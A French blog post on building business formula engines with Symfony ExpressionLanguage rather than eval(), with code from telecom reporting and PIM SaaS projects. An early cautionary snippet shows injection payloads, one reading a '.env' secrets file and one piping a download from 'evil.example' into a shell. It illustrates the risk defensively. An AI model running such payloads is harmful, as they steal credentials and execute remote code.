Aller au contenu principal

Un moteur de formules métier sans Excel ni eval()

Photo d'Emmanuel BALLERY, fondateur de x10
Emmanuel BALLERY
CTO freelance & Architecte logiciel
calendar_today 18/06/2026
schedule 12 min lecture
Un moteur de formules transforme des expressions métier en calculs exécutés en toute sécurité par une application web

La demande arrive toujours avec la même innocence : « il nous faudrait juste des formules, comme dans Excel ». Le métier veut calculer une moyenne entre deux colonnes, vérifier qu'une description fait au moins 200 caractères, décider qu'un code promo s'applique à un panier — mais seulement au-delà de 50 € et hors articles déjà remisés. Et il veut pouvoir changer ces règles sans ouvrir un ticket à chaque fois.

Devant cette demande, trois chemins s'offrent au développeur. Le premier mène à eval() — et à une faille de sécurité en production. Le deuxième mène à un tableur embarqué ou à un parseur maison — et à des années de maintenance d'un moteur que personne n'a voulu écrire. Le troisième s'appelle ExpressionLanguage, un composant Symfony discret qui fait exactement ce travail, et que j'ai déployé en production dans deux contextes très différents : une application de reporting d'un grand opérateur télécom qui a remplacé un classeur Excel, et une plateforme SaaS PIM/DAM/CMS/Hub où ce sont les utilisateurs eux-mêmes qui écrivent les formules. Deux échelles, deux publics, un même composant — et, entrevue en chemin, une troisième posture qui complète le tableau. Pas mal de leçons à la clé.

Pourquoi ExpressionLanguage — et pourquoi pas le reste

Le besoin générique s'énonce simplement : évaluer une expression écrite sous forme de texte, contre des données de l'application. Le réflexe eval() répond à l'énoncé, mais avec le pouvoir de tout faire — une expression PHP arbitraire peut lire des fichiers, ouvrir des connexions, détruire des données. Même écrite par un collègue de bonne foi, c'est une bombe posée dans le code ; écrite par un utilisateur, c'est une porte d'entrée.

// la « formule » vient d'un champ de saisie ou d'une colonne en base…
$formula = '($prixHt + $portHt) * 1.20';

// …et ça marche. Jusqu'au jour où la formule devient :
$formula = "file_get_contents('/var/www/.env')";
$formula = "exec('curl evil.example | sh')";

// eval() exécutera n'importe laquelle avec le même enthousiasme
return eval("return {$formula};");

Et non, filtrer ne suffit pas : une liste noire de fonctions interdites est une course perdue d'avance — PHP offre mille chemins détournés vers le même appel, des fonctions variables aux callbacks en passant par la réflexion.

ExpressionLanguage prend le problème à l'envers : plutôt qu'un langage complet qu'on tenterait de restreindre, c'est un langage minuscule qu'on étend — un DSL au sens strict. Sa syntaxe couvre l'arithmétique, les comparaisons, la logique booléenne, les ternaires et le null-coalescing, la concaténation de chaînes, des opérateurs comme in ou matches, l'accès aux propriétés et aux tableaux — et s'arrête là : pas de boucles, pas d'affectation, pas d'I/O. Aucune fonction n'existe tant qu'on ne l'a pas enregistrée explicitement. Une formule ne peut toucher que les variables qu'on lui passe et les fonctions qu'on lui donne : la sandbox n'est pas une couche de protection ajoutée, c'est la construction même du composant. En prime, l'expression est parsée en un arbre de syntaxe — un AST — que l'on peut mettre en cache, inspecter et parcourir. Les deux retours d'expérience qui suivent exploitent chacun une de ces propriétés.

Cas n°1 : remplacer le classeur Excel d'une équipe d'experts

Premier contexte, chez le grand opérateur télécom de cette série d'articles : une application web qui a remplacé un classeur Excel de reporting technique. L'écran reproduit la logique du classeur — des onglets, des grilles, des cellules saisies par des experts — et une partie des cellules est calculée à partir des autres, formules à l'appui :

avg(mesures.f3, mesures.g3)          # moyenne de deux cellules
divide(synthese.c13, synthese.c8)    # ratio, protégé contre la division par zéro
plusall(mesures.d4, mesures.e4, mesures.f4)

Les formules vivent dans le code — ce sont les développeurs qui les écrivent, avec le métier — mais leur évaluation pose deux problèmes que tout utilisateur d'Excel connaît sans le savoir.

Le vide doit se propager, pas exploser

Dans un classeur, une cellule vide ne fait pas planter la feuille : les formules qui en dépendent affichent simplement un résultat vide. Un rapport en cours de saisie est toujours incomplet — si chaque formule levait une erreur dès qu'un opérande manquait, l'application serait inutilisable avant la dernière cellule remplie. Les fonctions enregistrées sont donc toutes null-safe : elles acceptent des opérandes absents et propagent le vide au lieu de crasher.

function calculation_divide(?float $v1, ?float $v2, ?float $default = null): ?float
{
    // opérande manquant ou division par zéro : on propage le défaut, pas une erreur
    if (null === $v1 || null === $v2 || 0.0 === $v2) {
        return $default;
    }

    return $v1 / $v2;
}

Ce choix paraît anodin ; il est structurant. C'est lui qui permet de recalculer tout le rapport à chaque sauvegarde, quel que soit son état de complétude — la sémantique du tableur, retrouvée côté serveur.

Toutes les fonctions n'exigent pas ce soin, cela dit. Les helpers purement arithmétiques s'enregistrent en une ligne avec ExpressionFunction::fromPhp(), qui enrobe une fonction PHP native — et son second argument la rebaptise au passage, de quoi offrir un vocabulaire dans la langue du métier :

$el->addFunction(ExpressionFunction::fromPhp('round', 'arrondi'));
$el->addFunction(ExpressionFunction::fromPhp('ceil', 'plafond'));
$el->addFunction(ExpressionFunction::fromPhp('floor', 'plancher'));

Le raccourci a sa contrepartie — une fonction native n'est pas null-safe — donc on le réserve aux opérandes déjà normalisés, et on garde le wrapper maison dès qu'une valeur peut manquer.

L'ordre de calcul : un solveur itératif plutôt qu'un graphe

Second problème : les formules dépendent les unes des autres. Une cellule de synthèse fait la moyenne de ratios, qui divisent eux-mêmes des sommes. Excel résout ça avec un graphe de dépendances et un tri topologique ; la tentation est grande de l'imiter. La solution retenue est plus simple — un solveur itératif à convergence :

public function tick(Report $report, callable $evaluate): void
{
    // tente de résoudre chaque formule restante ; garde les autres pour le prochain tour
    $this->formulas = array_filter($this->formulas, function (Formula $formula) use ($report, $evaluate): bool {
        if (false === $this->canSolve($formula)) {
            return true;
        }

        $formula->save($report, $evaluate($formula->expression));
        $this->markAsSolved($formula);

        return false;
    });
}
$solver = Solver::create();
$tick = 0;
do {
    $before = $solver->countRemaining();
    $solver->tick($report, fn(string $expression) => $this->el->evaluate($expression, $values));
    $after = $solver->countRemaining();
} while (0 < $after && $after !== $before && ++$tick < 10);

À chaque tick, le solveur résout les formules dont toutes les références de cellules sont déjà connues — les cellules saisies au départ, puis les calculées de proche en proche. Les chaînes de dépendances réelles font deux ou trois niveaux : la grille converge en une poignée de tours. La condition d'arrêt la plus fiable n'est d'ailleurs pas le nombre de tours mais l'absence de progrès : comparer le nombre de formules restantes avant et après un passage signale le vrai blocage — si un tour entier ne résout plus rien, c'est qu'il ne reste que des cas insolubles, référence manquante ou dépendance circulaire, et le garde-fou $tick < 10 n'est plus qu'une ceinture de sécurité. Une dépendance circulaire ne bloque donc pas l'application : elle laisse simplement quelques cellules vides — exactement comme le ferait un classeur affichant une erreur de référence circulaire. Vingt lignes de code, zéro structure de graphe, et un comportement dégradé qui reste compréhensible par l'utilisateur : c'est le genre de simplicité qui se défend en revue de code.

Cas n°2 : quand ce sont les utilisateurs qui écrivent les formules

Deuxième contexte, une plateforme SaaS PIM sur mesure : des fiches produit multi-langues, multi-canaux, et des règles de gestion qui changent d'un client à l'autre. Ici, impossible de mettre les formules dans le code : ce sont les administrateurs de la plateforme — pas des développeurs — qui définissent leurs règles de complétude et leurs attributs calculés, directement dans l'interface :

has_value('description', 'fr_FR', 'web')
  and string_length(value_text('description', 'fr_FR', 'web')) >= 200

Le changement de public change tout. Une formule écrite par un développeur passe par une revue de code ; une formule écrite par un utilisateur arrive en production sans autre filet que ceux qu'on a construits. Quatre chantiers en découlent.

Un vocabulaire métier, pas un langage technique

La plateforme enregistre une soixantaine de fonctions, et leur conception est un travail de produit autant que de code : value(), has_value() et leurs variantes typées (value_text, value_number, value_date…), des fonctions de dictionnaires, de manipulation de chaînes, d'URL de médias, et des prédicats de contexte comme is_locale() ou is_channel(). L'utilisateur manipule ses concepts — attribut, locale, canal — jamais ceux de la base de données. Cette frontière est la vraie valeur du montage : le vocabulaire est une API produit, versionnée et documentée comme telle, et tout ce qui se trouve derrière peut être refactoré sans casser une seule formule client.

Valider à la saisie, pas à l'exécution

Une formule syntaxiquement fausse doit être rejetée au moment où l'utilisateur la tape — pas découverte à minuit, lors du recalcul des complétudes. Une contrainte de validation Symfony s'en charge, en demandant au moteur de linter sans évaluer :

try {
    $this->el->lint($value, [], Parser::IGNORE_UNKNOWN_VARIABLES);
} catch (SyntaxError) {
    $this->context->addViolation('workflow.rule');
}

Le lint attrape la syntaxe, pas le sens — value('poids') sur un produit qui n'a pas d'attribut poids reste possible. C'est le rôle du second filet : à l'exécution, les fonctions lèvent des exceptions typées (valeur manquante, valeur invalide) que le moteur intercepte et journalise avec la formule en cause. Une règle mal écrite produit une erreur localisée et explicable à l'utilisateur — jamais une page blanche, jamais un recalcul global en échec. Même les warnings PHP sont convertis en exceptions le temps de l'évaluation, pour qu'aucune formule ne puisse polluer silencieusement les logs.

Parser une fois, évaluer des millions de fois

Le coût d'ExpressionLanguage n'est pas où on l'attend : évaluer un AST est bon marché, c'est le parsing du texte qui coûte. Or une règle de complétude s'évalue sur chaque produit, dans chaque locale, sur chaque canal — la même formule des dizaines de milliers de fois. D'où un cache d'expressions parsées, partagé entre toutes les instances du moteur :

final class FormulaParser implements ResetInterface
{
    /** @var array<string, ParsedExpression> */
    private array $cache = [];

    public function get(string $expression, ExpressionLanguage $el, array $names): ParsedExpression
    {
        return $this->cache[$expression] ??= $el->parse($expression, $names);
    }

    public function reset(): void
    {
        $this->cache = [];
    }
}

Le détail qui rend ce partage possible : l'AST ne dépend que des noms des fonctions, pas de leurs implémentations. Les moteurs instanciés par locale et par canal enregistrent les mêmes noms avec des closures différentes — le résultat du parsing est identique, donc réutilisable partout. Et le ResetInterface n'est pas décoratif : dans un worker qui tourne en continu, un cache sans purge est une fuite mémoire en puissance ; Symfony le vide automatiquement entre deux traitements.

L'AST comme graphe de dépendances gratuit

Dernier chantier, le plus élégant : quand un attribut change, quelles formules faut-il réévaluer ? Plutôt que de demander à l'utilisateur de déclarer ses dépendances — il se tromperait — la plateforme les lit dans l'AST : un parcours des nœuds de fonctions suffit à extraire tous les attributs qu'une formule consomme, puisque chaque accès passe nécessairement par value('…') et ses variantes. Le graphe de dépendances que le cas n°1 avait évité de construire, le cas n°2 l'obtient gratuitement — déduit du texte même de la formule, impossible à désynchroniser. C'est la récompense d'avoir choisi un composant qui expose son arbre plutôt qu'une boîte noire qui évalue des chaînes.

Ce que le métier y gagne

Sous la technique, le contrat mérite d'être nommé, parce que c'est lui qui justifie l'investissement. Un moteur de formules trace une frontière nette entre deux vitesses d'évolution : les formules, que le métier change seul, sans déploiement, sans ticket, sans développeur ; et les fonctions, qui constituent le vocabulaire, évoluent au rythme des releases et restent sous revue de code. Une nouvelle règle de complétude sur la plateforme PIM est en production dans la minute. Un nouveau mot du vocabulaire est une décision d'API, pesée comme telle.

Cette frontière est exactement ce qu'Excel ne sait pas offrir : le classeur mélange les données, les formules et la présentation dans un fichier que personne ne versionne, où une cellule écrasée passe inaperçue pendant des mois. Le moteur de formules garde la souplesse — le métier écrit ses règles — et rapatrie tout le reste côté application : validation, historique, droits, tests, journalisation. C'est la réponse longue à la demande innocente du départ : oui, vous aurez vos formules comme dans Excel — mais versionnées, validées à la saisie et incapables de faire tomber la production.

Un mot sur une troisième posture, croisée sur une plateforme SaaS de gestion de programmes immobiliers. Là, ni les développeurs ni les utilisateurs n'écrivent les formules : c'est l'application qui les génère, par concaténation, à partir de son modèle de données. Une cascade HT → TVA → TTC, des sommes par catégorie, une marge — autant de formules émises à la volée, par exemple "100 * {prixTtc} / (100 + {tauxTva})", puis confiées au même solveur. ExpressionLanguage devient alors une représentation intermédiaire : il ne sert plus à ouvrir les règles au métier, mais à donner au tableur une sémantique de recalcul que du PHP figé n'aurait pas offerte. Trois publics — développeurs, utilisateurs, machine — un seul composant.

Bonus : l'éditeur de formules côté interface

Reste un chantier de la plateforme PIM, côté interface celui-là, qui conditionne l'adoption de tout le reste : si le métier écrit ses formules, il les écrit quelque part — et un <textarea> nu est la garantie de formules fausses et d'utilisateurs découragés. L'interface embarque donc un vrai éditeur, construit avec CodeMirror : coloration syntaxique du langage d'expressions — un tokenizer d'une quarantaine de lignes suffit pour un langage aussi petit, inutile de dégainer une grammaire complète — et surtout une autocomplétion qui connaît le vocabulaire :

const completions: Completion[] = [
  // les mots-clés du langage
  { label: "and", type: "keyword" },
  { label: "or", type: "keyword" },
  // une fonction du vocabulaire, avec ses arguments obligatoires pré-remplis
  {
    label: "has_value",
    type: "function",
    info: "Vérifie qu'un attribut a une valeur pour une locale et un canal",
    apply: 'has_value("attribute", "locale", "channel")',
  },
  // un attribut du client, avec son libellé traduit
  {
    label: "description",
    type: "enum",
    info: "Description longue",
  },
  // … générées en réalité depuis le catalogue de fonctions
  // et la liste des attributs du client
];

const state = EditorState.create({
  doc: formula,
  extensions: [
    expressionLanguage, // le tokenizer maison
    autocompletion({ override: [completeFromList(completions)] }),
    syntaxHighlighting(highlightStyle),
  ],
});

Toute la valeur est dans l'origine des suggestions. Les fonctions viennent du même catalogue que celui qui les enregistre côté serveur — noms, arguments, descriptions traduites — si bien que l'autocomplétion ne peut pas s'écarter du vocabulaire réel : un mot ajouté au DSL apparaît dans l'éditeur sans qu'on y pense. Et les attributs proposés sont ceux du client, chargés depuis son catalogue : l'utilisateur qui tape desc se voit proposer sa description, avec son libellé dans sa langue. Le DSL parle la langue du métier jusque dans l'éditeur — c'est souvent ce qui sépare une fonctionnalité livrée d'une fonctionnalité utilisée.

Conclusion

Deux contextes détaillés, une troisième posture entrevue, le même composant. Côté opérateur télécom, une grille de reporting dont les formules vivent dans le code, des fonctions null-safe qui retrouvent la sémantique du tableur, et un solveur itératif de vingt lignes qui converge sans graphe de dépendances. Côté plateforme SaaS, des formules écrites par les utilisateurs, un vocabulaire métier d'une soixantaine de fonctions, un lint à la saisie, un cache d'AST partagé, des dépendances déduites de l'arbre lui-même et un éditeur qui autocomplète ce vocabulaire. Et, entre les deux, une plateforme immobilière où c'est l'application elle-même qui écrit les formules : développeur, utilisateur ou machine, le composant épouse les trois.

Dans tous les cas, la décision initiale est identique et tient en une phrase : ne jamais évaluer du PHP, ne jamais réinventer un parseur. ExpressionLanguage occupe précisément cette case — assez petit pour être sûr, assez extensible pour porter un vocabulaire métier complet, assez transparent pour qu'on exploite son AST. La prochaine fois que quelqu'un demande « juste des formules, comme dans Excel », c'est probablement la réponse qu'il attend sans le savoir.

Photo d'Emmanuel BALLERY, fondateur de x10

À propos de l'auteur

Emmanuel BALLERY est le fondateur de x10 solutions. Expert en architecture logicielle et passionné par la qualité du code (Software Craftsmanship), il aide les entreprises à transformer leur dette technique en actifs durables.

Voir plus arrow_forward

Questions fréquentes

Pourquoi ne pas utiliser eval() pour évaluer des formules ? expand_more
Parce qu'eval() exécute du PHP arbitraire : lire des fichiers, ouvrir des connexions, détruire des données. ExpressionLanguage prend le problème à l'envers — un langage minuscule qu'on étend fonction par fonction. Une formule ne peut toucher que les variables passées et les fonctions enregistrées : la sandbox est la construction même du composant.
Quelles performances en production ? expand_more
Le coût est dans le parsing du texte, pas dans l'évaluation de l'arbre. Avec un cache d'expressions parsées, une même formule se parse une fois et s'évalue des dizaines de milliers de fois à coût marginal. Pour aller plus loin, ExpressionLanguage sait aussi compiler une expression en code PHP natif.
Un utilisateur peut-il casser l'application avec une formule ? expand_more
Non, si les filets sont en place : lint syntaxique à la saisie via une contrainte de validation, fonctions limitées à un vocabulaire métier explicite, exceptions typées interceptées à l'évaluation. Une formule fausse produit une erreur localisée et explicable — pas une page blanche ni un recalcul global en échec.
ExpressionLanguage nécessite-t-il un projet Symfony complet ? expand_more
Non. C'est un composant autonome, installable via Composer dans n'importe quel projet PHP. Il n'a aucune dépendance au framework — le cache d'expressions et l'intégration aux contraintes de validation sont des conforts apportés par Symfony, pas des prérequis.